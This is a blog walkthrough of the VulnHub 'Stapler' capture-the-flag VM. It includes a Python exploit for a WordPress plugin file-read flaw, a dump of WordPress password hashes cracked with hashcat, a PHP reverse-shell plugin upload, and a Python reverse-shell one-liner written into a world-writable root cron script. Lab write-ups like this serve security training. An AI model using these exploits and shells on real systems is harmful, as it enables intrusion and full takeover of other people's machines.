Total Pageviews

Sunday, August 15, 2021

STAPLER: [Linux] walkthrough

 


STAPLER - VULNHUB - Linux 



+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|   Name: Stapler           |          IP: DHCP           |
|   Date: 2016-June-08      |        Goal: Get Root!      |
| Author: g0tmi1k           | Difficultly: ??? ;)         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|                                                         |
| + Average beginner/intermediate VM, only a few twists   |
|   + May find it easy/hard (depends on YOUR background)  |
|   + ...also which way you attack the box                |


You can find all the penetration testing process of this machine, on the following video: 


**As you can see in the follow procedure there are a lot of services open at this server and obviously, could be any other kinds of ways to get the final flag.txt:



but this is my solution.

Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:





The other tool is  netdiscover, with the same concept but using an interface like parameter:






NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.


nmap -sC -n -v -T4 -p - 192.168.1.35 -oN target_namp
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-15 14:06 CEST
NSE: Loaded 123 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:06
Completed NSE at 14:06, 0.00s elapsed
Initiating NSE at 14:06
Completed NSE at 14:06, 0.00s elapsed
Initiating Ping Scan at 14:06
Scanning 192.168.1.35 [2 ports]
Completed Ping Scan at 14:06, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 14:06
Scanning 192.168.1.35 [65535 ports]
Discovered open port 80/tcp on 192.168.1.35
Discovered open port 22/tcp on 192.168.1.35
Discovered open port 3306/tcp on 192.168.1.35
Discovered open port 21/tcp on 192.168.1.35
Discovered open port 53/tcp on 192.168.1.35
Discovered open port 139/tcp on 192.168.1.35
Discovered open port 12380/tcp on 192.168.1.35
Connect Scan Timing: About 22.99% done; ETC: 14:09 (0:01:44 remaining)
Connect Scan Timing: About 59.06% done; ETC: 14:08 (0:00:42 remaining)
Discovered open port 666/tcp on 192.168.1.35
Completed Connect Scan at 14:08, 87.88s elapsed (65535 total ports)
NSE: Script scanning 192.168.1.35.
Initiating NSE at 14:08
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 14:08, 30.24s elapsed
Initiating NSE at 14:08
Completed NSE at 14:08, 0.00s elapsed
Nmap scan report for 192.168.1.35
Host is up (0.00049s latency).
Not shown: 65523 filtered ports
PORT      STATE  SERVICE
20/tcp    closed ftp-data
21/tcp    open   ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.1.42
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open   domain
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn
666/tcp   open   doom
3306/tcp  open   mysql
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 24
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, SupportsTransactions, Speaks41ProtocolNew, IgnoreSigpipes, Support41Auth, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, InteractiveClient, IgnoreSpaceBeforeParenthesis, LongColumnFlag, FoundRows, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, LongPassword, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: \x15j/`\x06,rf2._"\x0C< \x7Fk\x0E&a
|_  Auth Plugin Name: mysql_native_password
12380/tcp open   unknown
| ssl-cert: Subject: commonName=Red.Initech/organizationName=Initech/stateOrProvinceName=Somewhere in the middle of nowhere/countryName=UK
| Issuer: commonName=Red.Initech/organizationName=Initech/stateOrProvinceName=Somewhere in the middle of nowhere/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2016-06-05T16:34:34
| Not valid after:  2026-06-03T16:34:34
| MD5:   438d cf63 0b8f d16e c6f7 6484 7801 2b5a
|_SHA-1: 8eb8 b6f5 be4d fb6f 130b 8d2d 31fc 6791 7290 a778
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

Host script results:
|_clock-skew: mean: -20m01s, deviation: 34m37s, median: -2s
| nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   RED<00>              Flags: <unique><active>
|   RED<03>              Flags: <unique><active>
|   RED<20>              Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2021-08-15T13:08:13+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-15T12:08:13
|_  start_date: N/A

NSE: Script Post-scanning.


The conclusion of nmap scan is that we found the following open ports with the services:



EXPLOTATION:

12380/tcp:

Http protocol:



WooU Zoe wants to hire me too!!, 






Https protocol:


hatweb https://192.168.1.35:12380/
https://192.168.1.35:12380/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.1.35], UncommonHeaders[dave]


robots.txt file on apche server:

;) is it joking? : https://192.168.1.35:12380/admin112233/



The following web it seem a wordpress web page : https://192.168.1.35:12380/blogblog/


whatweb https://192.168.1.35:12380/blogblog/
https://192.168.1.35:12380/blogblog/ [200 OK] Apache[2.4.18], Bootstrap[20120205,4.2.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.1.35], JQuery, MetaGenerator[WordPress 4.2.1], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Initech | Office Life], UncommonHeaders[dave], WordPress[4.2.1], x-pingback[https://192.168.1.35:12380/blogblog/xmlrpc.php]    



Wpscan with a disable tls option, because the web contains a self-signed certificate that not match with the hostname/ip of the target machine:

wpscan --url https://192.168.1.35:12380/blogblog/ --disable-tls-checks
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.10
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: https://192.168.1.35:12380/blogblog/ [192.168.1.35]
[+] Started: Sun Aug 15 14:30:25 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.18 (Ubuntu)
 |  - Dave: Soemthing doesn't look right here
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.1.35:12380/blogblog/xmlrpc.php
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 | Confirmed By:
 |  - Link Tag (Passive Detection), 30% confidence
 |  - Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: https://192.168.1.35:12380/blogblog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Registration is enabled: https://192.168.1.35:12380/blogblog/wp-login.php?action=register
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.1.35:12380/blogblog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.1.35:12380/blogblog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
 | Found By: Rss Generator (Passive Detection)
 |  - https://192.168.1.35:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
 |  - https://192.168.1.35:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
 | Location: https://192.168.1.35:12380/blogblog/wp-content/themes/bhost/
 | Last Updated: 2020-12-08T00:00:00.000Z
 | Readme: https://192.168.1.35:12380/blogblog/wp-content/themes/bhost/readme.txt
 | [!] The version is out of date, the latest version is 1.4.6
 | Style URL: https://192.168.1.35:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
 | Style Name: BHost
 | Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
 | Author: Masum Billah
 | Author URI: http://getmasum.net/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2.9 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://192.168.1.35:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <===================================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Aug 15 14:30:30 2021
[+] Requests Done: 168
[+] Cached Requests: 5
[+] Data Sent: 41.983 KB
[+] Data Received: 166.048 KB
[+] Memory used: 219.332 MB


Url to review: https://192.168.1.35:12380/blogblog/wp-content/






After several attempts, the best way for the pentration process is the following:

The advanced embedded videos plugins it seems vulnerable:



With this personal modified exploit on python we can exploit the vulnerability:

import random
import urllib2
import re

url = "https://192.168.1.33:12380/blogblog" # insert url to wordpress

randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
print(content)
for line in content:
        numbers = re.findall(r'\d+',line)
        id = numbers[-1]
        id = int(id) / 10
        print(id)

print(url+ '/?p='+str(id))
objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()
print(content)

for line in content:
        if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
                urls=re.findall('"(https?://.*?)"', line)
                print urllib2.urlopen(urls[0]).read()





With this exploit, now we should obtain the wordpress configuration file, en the following path:
https://192.168.1.35:12380/blogblog/wp-content/uploads/





Mysql service DB connection:



Obtaining wp_users and credentials:

mysql -h 192.168.1.35 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 50
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [wordpress]> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
16 rows in set (0.001 sec)


Crack MD5 wordpress hashes with hashcat tool, using a brute force with dictorionary attack mode :

kali@kali:~/VULNHUB/stalper/data$ cat hashlist.txy 
$P$B7889EMq/erHIuZapMB8GEizebcIy9.
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0

And finally the output:

kali@kali:~/VULNHUB/stalper/data$ hashcat -m 400 hashlist.txy /usr/share/wordlists/rockyou.txt --show
$P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0:ylle
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0:washere
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10:passphrase
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1:football
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0:monkey
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1:cookie
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0:coolgirl
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0:thumb
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1:partyqueen
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.:damachine
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0:0520

Login on worpress using the jhon credentials/incorrect :

https://192.168.1.35:12380/blogblog/wp-login.php


Upload a new plugin:



This "plugin" is a reverse shell file that will be stored on the target machine:

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

 We must change the following field for our attacker machine configuration:

cat php-reverse-shell.php | grep CHANGE
$ip = '192.168.1.42';  // CHANGE THIS
$port = 8989;       // CHANGE THIS

When the process finish the reverse shell should be storage on the following url:



And we can invoke it using the browser:





Obtaining  a reverse shell with www-data user :


Privilege escalation:


Obtaining  lse script from  attacker machine using python http service:


python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...


192.168.1.35 - - [15/Aug/2021 16:04:25] "GET /lse.sh HTTP/1.1" 200 -





Execute recognition script:

$ ./lse.sh
---
If you know the current user password, write it here to check sudo privileges:                                                                                                    
---
                                                                                                                                                                                  
 LSE Version: 3.6                                                                                                                                                                 

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
       umask: 0000

    Hostname: red.initech
       Linux: 4.4.0-21-generic
Distribution: Ubuntu 16.04 LTS
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in administrative groups?................. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip                                                                                                  
[i] usr060 Other users..................................................... skip                                                                                                  
[*] usr070 PATH variables defined inside /etc.............................. yes!                                                                                                  
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[*] sud040 Can we read sudoers files?...................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/bin/ubuntu-core-launcher
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/authbind/helper
---
[!] fst030 Can we write to any setuid binary?.............................. nope
[*] fst040 Binaries with setgid bit........................................ skip
[!] fst050 Uncommon setgid binaries........................................ skip                                                                                                  
[!] fst060 Can we write to any setgid binary?.............................. skip                                                                                                  
[*] fst070 Can we read /root?.............................................. nope                                                                                                  
[*] fst080 Can we read subdirectories under /home?......................... yes!
[*] fst090 SSH files in home directories................................... nope
[*] fst100 Useful binaries................................................. yes!
[*] fst110 Other interesting files in home directories..................... nope
[!] fst120 Are there any credentials in fstab/mtab?........................ nope
[*] fst130 Does 'www-data' have mail?...................................... yes!
[!] fst140 Can we access other users mail?................................. yes!
---
/var/mail/root
---
[*] fst150 Looking for GIT/SVN repositories................................ nope
[!] fst160 Can we write to critical files?................................. nope
[!] fst170 Can we write to critical directories?........................... nope
[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope
[!] fst190 Can we read any backup?......................................... nope
[!] fst200 Are there possible credentials in any shell history file?....... nope
[!] fst210 Are there NFS exports with 'no_root_squash' option?............. nope
[*] fst220 Are there NFS exports with 'no_all_squash' option?.............. nope
[i] fst500 Files owned by user 'www-data'.................................. skip
[i] fst510 SSH files anywhere.............................................. skip                                                                                                  
[i] fst520 Check hosts.equiv file and its contents......................... skip                                                                                                  
[i] fst530 List NFS server shares.......................................... skip                                                                                                  
[i] fst540 Dump fstab file................................................. skip                                                                                                  
=================================================================( system )=====                                                                                                  
[i] sys000 Who is logged in................................................ skip
[i] sys010 Last logged in users............................................ skip                                                                                                  
[!] sys020 Does the /etc/passwd have hashes?............................... nope                                                                                                  
[!] sys022 Does the /etc/group have hashes?................................ nope
[!] sys030 Can we read shadow files?....................................... nope
[*] sys040 Check for other superuser accounts.............................. nope
[*] sys050 Can root user log in via SSH?................................... yes!
[i] sys060 List available shells........................................... skip
[i] sys070 System umask in /etc/login.defs................................. skip                                                                                                  
[i] sys080 System password policies in /etc/login.defs..................... skip                                                                                                  
===============================================================( security )=====                                                                                                  
[*] sec000 Is SELinux present?............................................. nope
[*] sec010 List files with capabilities.................................... yes!
[!] sec020 Can we write to a binary with caps?............................. nope
[!] sec030 Do we have all caps in any binary?.............................. nope
[*] sec040 Users with associated capabilities.............................. nope
[!] sec050 Does current user have capabilities?............................ skip
[!] sec060 Can we read the auditd log?..................................... nope                                                                                                  
========================================================( recurrent tasks )=====
[*] ret000 User crontab.................................................... nope
[!] ret010 Cron tasks writable by user..................................... nope
[*] ret020 Cron jobs....................................................... yes!
[*] ret030 Can we read user crontabs....................................... nope
[*] ret040 Can we list other user cron tasks?.............................. nope
[*] ret050 Can we write to any paths present in cron jobs.................. yes!
[!] ret060 Can we write to executable paths present in cron jobs........... yes!
---
/etc/cron.d/logrotate:*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
---
[i] ret400 Cron files...................................................... skip
[*] ret500 User systemd timers............................................. nope                                                                                                  
[!] ret510 Can we write in any system timer?............................... nope
[i] ret900 Systemd timers.................................................. skip
================================================================( network )=====                                                                                                  
[*] net000 Services listening only on localhost............................ yes!
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
[i] net500 NIC and IP information.......................................... skip
[i] net510 Routing table................................................... skip                                                                                                  
[i] net520 ARP table....................................................... skip                                                                                                  
[i] net530 Nameservers..................................................... skip                                                                                                  
[i] net540 Systemd Nameservers............................................. skip                                                                                                  
[i] net550 Listening TCP................................................... skip                                                                                                  
[i] net560 Listening UDP................................................... skip                                                                                                  
===============================================================( services )=====                                                                                                  
[!] srv000 Can we write in service files?.................................. nope
[!] srv010 Can we write in binaries executed by services?.................. nope
[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope
[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope
[*] srv040 Upstart files not belonging to root............................. nope
[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope
[i] srv400 Contents of /etc/inetd.conf..................................... skip
[i] srv410 Contents of /etc/xinetd.conf.................................... skip                                                                                                  
[i] srv420 List /etc/xinetd.d if used...................................... skip                                                                                                  
[i] srv430 List /etc/init.d/ permissions................................... skip                                                                                                  
[i] srv440 List /etc/rc.d/init.d permissions............................... skip                                                                                                  
[i] srv450 List /usr/local/etc/rc.d permissions............................ skip                                                                                                  
[i] srv460 List /etc/init/ permissions..................................... skip                                                                                                  
[!] srv500 Can we write in systemd service files?.......................... nope                                                                                                  
[!] srv510 Can we write in binaries executed by systemd services?.......... nope
[*] srv520 Systemd files not belonging to root............................. nope
[i] srv900 Systemd config files permissions................................ skip
===============================================================( software )=====                                                                                                  
[!] sof000 Can we connect to MySQL with root/root credentials?............. nope
[!] sof010 Can we connect to MySQL as root without password?............... nope
[!] sof015 Are there credentials in mysql_history file?.................... nope
[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope
[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope
[*] sof030 Installed apache modules........................................ yes!
[!] sof040 Found any .htpasswd files?...................................... nope
[!] sof050 Are there private keys in ssh-agent?............................ nope
[!] sof060 Are there gpg keys cached in gpg-agent?......................... nope
[!] sof070 Can we write to a ssh-agent socket?............................. nope
[!] sof080 Can we write to a gpg-agent socket?............................. nope
[!] sof090 Found any keepass database files?............................... nope
[!] sof095 Found any 'pass' store directories?............................. nope
[i] sof500 Sudo version.................................................... skip
[i] sof510 MySQL version................................................... skip                                                                                                  
[i] sof520 Postgres version................................................ skip                                                                                                  
[i] sof530 Apache version.................................................. skip                                                                                                  
=============================================================( containers )=====                                                                                                  
[*] ctn000 Are we in a docker container?................................... nope
[*] ctn010 Is docker available?............................................ nope
[!] ctn020 Is the user a member of the 'docker' group?..................... nope
[*] ctn200 Are we in a lxc container?...................................... nope
[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope
==============================================================( processes )=====
[i] pro000 Waiting for the process monitor to finish.......................

And we detect a privileges configuration error on the crontab to execute a script every five minutes, that every user could modify:






$ ls -ltrh /usr/local/sbin/cron-logrotate.sh
-rwxrwxrwx 1 root root 204 Aug 15 12:28 /usr/local/sbin/cron-logrotate.sh

we only need modify the script for spawn a reverse shell with a root privileges from the target machine to the attacker machine:

cat /usr/local/sbin/cron-logrotate.sh
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.42",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'


And listen on port 9999 from the attacker machine using netcat:





id
uid=0(root) gid=0(root) groups=0(root)
root@red:/etc/ssh# whoami
whoami
root
root@red:/etc/ssh# cat /root/flag.txt
cat /root/flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

root@red:/etc/ssh# 

root@red:/etc/ssh# ip address
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:34:69:7b brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.35/24 brd 192.168.1.255 scope global enp0s3
       valid_lft forever preferred_lft forever

And this is all for this lab level, I hope that you enjoy with the stapler machine, you'll 
follow my blog [https://roadtooscp-f0ns1.blogspot.com/] and we'll keep in touch.

with kind regards, f0ns1






No comments:

Post a Comment

Mi primera experiencia en una conferencia:

En la jornada posterior a un evento importante toca analizar, en este caso me centro en mi participación como speaker en #librecon2022. ¿Cóm...